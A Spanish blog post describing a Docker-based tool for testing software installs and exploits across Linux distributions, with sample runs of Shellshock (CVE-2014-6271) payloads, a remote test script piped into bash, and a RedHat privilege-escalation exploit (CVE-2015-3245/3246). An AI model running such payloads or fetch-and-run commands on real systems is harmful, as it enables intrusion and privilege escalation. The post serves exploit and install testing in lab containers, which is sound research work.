Cross Distribution Exploit Testing [SPANISH]

Introducción:

Buscando una manera fácil de hacer testing sobre el proceso de instalación de Faraday
http://github.com/infobyte/faraday en distintas distribuciones.


Es uno de los procesos mas complicados y críticos de una herramienta. Es importante que el proceso sea fácil y funcione sin inconvenientes para que los usuarios solo se dediquen a usar la herramienta y no pierdan tiempo valioso en la instalación.

Gracias a esto nos topamos con Docker es similar a un chroot con esteroides.

Docker es un proyecto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y namespaces para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales.

El proceso que desarrollamos es bastante simple tomando una lista de distribuciones:

  1. Generamos un docker
  2. Instalamos Faraday
  3. Nos conectamos por SSH al container exportando la X y ejecutamos la aplicación grafica (GUI QT)

Si alguno de los procesos fallaba, evaluamos cual fue el problema y efectuábamos el patch correspondiente.

Este proceso hoy es utilizado dentro de nuestro sistema de integración continua.

Cross Distribution Exploit Testing:


Utilizando esta misma implementación podemos usarlo para realizar una pruebas de explotación en distintas distribuciones para evaluar distintos escenarios y lograr que nuestros exploits sean mas robustos :)
No todas las vulnerabilidades pueden ser probadas utilizando esta tool ya que problemas relaciones con kernel no pueden ser explotados porque docker no es un sistema de virtualización, vulnerabilidades simples como file permission, file race condition, environment variable code injection, etc.

La herramienta contiene los siguientes elementos:
  • docker_build.py: Este script se encarga de generar las imagenes de cada distribución y dispara docker_launch.py.
  • docker_launch.py: Es el que finalmente se conecta conecta por SSH y ejecuta nuestro comando en el container seleccionado.
  • images.txt: Lista de imagenes a utilizar.
  • extras/: Librerias y Dockerfile fija base que se usa para la generación de las imagenes
  • root/: Aquí se encuentran claves privadas para la conexión de ssh, solo necesario para pruebas de GUI

Caso 1 - Shellshock

Un ejemplo simple para probar es shellshock:

$ ./docker_build.py -c "env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\""
Start build docker: debian:7.3
..
Run build docker: debian:7.3, id: fae1bc04-b514_debian:7.3
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t fae1bc04-b514_debian:7.3
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.93', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
vulnerable
this is a test
Run build docker: ubuntu:14.10, id: a07132a4-af14_ubuntu:14.10
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t a07132a4-af14_ubuntu:14.10
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.94', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
this is a test

Esto creo 2 imagenes (debian7.3, ubuntu 14.10) y por cada imagen ejecuto el exploit de CVE-2014-6271

Podemos utilizar un script para tenerlo mas ordenado:
$ ./docker_build.py -c "cd build && ./shellshocker.sh" #docker_build.py copia en la imagen todo el contenido de "." en directorio ./root/build
Run build docker: debian:7.3, id: 75b78a22-03a1_debian:7.3
CVE-2014-6271 (original shellshock): VULNERABLE
./shellshock_test2.sh: line 17:    29 Segmentation fault      shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2> /dev/null
CVE-2014-6277 (segfault): VULNERABLE
CVE-2014-6278 (Florian's patch): VULNERABLE
CVE-2014-7169 (taviso bug): VULNERABLE
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

También alguna implementación mas automatizada, con la excepción que usamos la opcion -i para pasarle una lista de images a ejecutar.

$ ./docker_build.py -c "curl https://shellshocker.net/shellshock_test.sh | bash" -i images.txt

En caso de querer volver a probar algo especifico sobre algún container basta con correr:
$ docker ps -a #verificar cual es la image generada y utilizarla con docker_launcher en la opción -t
$ ./docker_launcher.py -c "whoami" -t c92d6bf7-d559_debian:7.3

Caso 2: Redhat Local Privilege Escalation CVE-2015-(3245,3246):


Hace pocos días publicaron dos vulnerabilidades que pueden ser utilizadas para elevación local de privilegios en Redhat 6 y 7.

CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling

Probemos esta vulnerabilidades en las siguientes distribuciones rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20 :

$ ./docker_build.py -i redhat_images.txt  -d extras/docker/Dockerfile.redhat -c id # En este caso utilizamos un Dockfile especial que ejecuta directamente el exploit (roothelper.c)

Distros: ['rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20']
Start build docker: rhel6.5
...
Red Hat Enterprise Linux Server release 6.5 (Santiago)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.0
Red Hat Enterprise Linux Server release 7.0 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.1
Red Hat Enterprise Linux Server release 7.1 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: fedora:20
Fedora release 20 (Heisenbug)
CVE-2015-(3245,3246): Not vulnerable
...

Demo:


Clean:


Después de varias pruebas no olvidemos parar los containers y borrarlos:
$ docker stop $(docker ps -a -q)
$ docker rm $(docker ps -a -q)

De ser necesario también las imagenes:
$ docker rmi $(docker images -q)

Tool:

El código se encuentra disponible en github en:
http://github.com/infobyte/docker_build

To-Do:

Realiza un proceso similar utilizando Vagrant de esta manera podríamos probar cualquier tipo de vulnerabilidades ya que seria un entorno de virtualización completo.

Espero que les ayude para realizar exploits mas robustos y tal vez algún developer para probar su herramienta frente a distintas distribuciones.

Gracias Andres por la ayuda!


Post a Comment
Thanks for your comment